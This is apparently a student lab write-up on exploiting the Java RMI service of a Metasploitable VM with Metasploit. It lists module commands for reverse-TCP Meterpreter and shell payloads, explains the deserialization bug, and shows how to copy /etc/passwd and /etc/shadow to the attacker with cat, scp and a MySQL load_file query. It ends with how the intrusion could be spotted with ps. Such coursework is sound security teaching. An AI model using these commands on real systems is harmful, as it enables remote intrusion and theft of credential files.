Soren DeHaan and Carl Tankersley

- Simple, step-by-step instructions on how to perform the exploit with each of your chosen payloads. This might be a list of command-line commands, or a sequence of screenshots, etc. Shoot for clear, easy-to-follow instructions.
    - Get metasploitable running, scan the ports, all that jazz.
    - Observe: 10.0.2.4 1099 tcp   java-rmi   open   GNU Classpath grmiregistry
    - Do some Googling…

    - use exploit/multi/misc/java_rmi_server
    - show targets
    - set target <whatever corresponds to target OS>
    - show payloads
        - set payload payload/java/meterpreter/reverse_tcp
        - OR
        - set payload payload/java/shell/reverse_tcp
    - options
    - set rhost <target IP>
    - set lhost <your IP>
    - exploit
        - You have access via Meterpreter!
        - OR
        - You have root access!
- An explanation of how the exploit works. Not "Metasploit's X/Y/Z module does magic, and you get a shell!" Rather, you need to do the research on how the exploit in question takes advantage of some bug or misconfiguration on the target machine, and then share that research with me briefly and clearly, with citations as appropriate.
    - Part one: exploit. Java has a system called Remote Method Invocation (RMI) that allows concurrently running programs to invoke methods on each other. This is usually useful for distributed computing, since accessing objects on other devices allows for a much more flexible computing framework. However, this also allows for the following exploit:
        - Given an open RMI port, create an ActivationGroupImpl object, which will be upcast to a remote object.
        - When the program using RMI checks that object, it will attempt to deserialize it, which requires the server to wait for the client to send the object’s information using the listen method.
        - However, as long as the server is listening, it needs to hold its distributed garbage collection system open to the client, and a customized packet can be passed in order to navigate several switches.
        - At the end of the switch statement path, the garbage collector again attempts to deserialize the object, allowing the attacker to run arbitrary code within the context of the program.

- Part two: payload. When a port is closed, the target computer will not accept any incoming traffic through it, so it isn't really a viable attack vector. However, the computer generally doesn't care as much about outgoing traffic. Because of this, if we can get in through a service running on an open port and insert a payload that can initiate a TCP connection, we can start our own outgoing connection from a closed port on the target computer to our computer, with which we can do anything that the level of privilege that we have attained will allow.

- A brief description of each payload you tried out, and an explanation of how they differ.
    - Both the Meterpreter and root payloads rely on a reverse TCP connection in order to stick, and the end effect of each is to establish complete control over the target's system. The primary difference between the two is that Meterpreter acts as a separate shell, with a library of preloaded functions for the benefit of the attacker (think baby Flame).
- A brief description of how you managed to transfer /etc/passwd to your attacking machine.
    - Using RMI, once you have Meterpreter or root access:
        - cat /etc/passwd
            - View it remotely on your machine.
        - OR
        - scp /etc/passwd <username>@<your IP>:<file path>
            - Get the actual file on your machine.
        - PLUS
        - cat /etc/shadow
            - To view the passwords as well.
        - OR
        - scp /etc/shadow <username>@<your IP>:<file path>
            - To get the passwords on your machine.
    - Using SQL:
        - use auxiliary/admin/mysql/mysql_sql
        - set USERNAME root
        - set PASSWORD ‘’
        - set RHOST 10.0.2.4
        - set SQL select load_file(\'/etc/passwd\')
    - And there we have it!
- When your payload is running on the target machine and you are doing whatever you're doing, is there a way that your activity might be detected? For Part 3, I want you to describe in concise detail at least one way that you could be spotted.
    - Using the command “ps -f -e”, we got this to show up:
        - root ... 19:07 ... /usr/lib/jvm/java-1.5.0-gcj-... (some other stuff)
    - This is notable for three reasons. First, it's root access, and the garbage collector (presumably what gcj is) shouldn't need root privileges. Second, there are no other java processes running, and it's somewhat unusual to have the garbage collector running alone. Lastly, the access time was during an inactive time for Metasploitable, making the activity especially suspicious.

- Tell me something you found interesting while you were getting to know Metasploit.
    - Well, it may have taken 90 minutes to install, and another 20 minutes of running before it made Kali freeze, but GVM is a very neat tool for identifying security flaws. Before crashing, it identified a potential way that TCP could be used to determine program uptime: a minor concern, but depending on the algorithms used (random number generators based off runtime are one possibility), it could give away other information.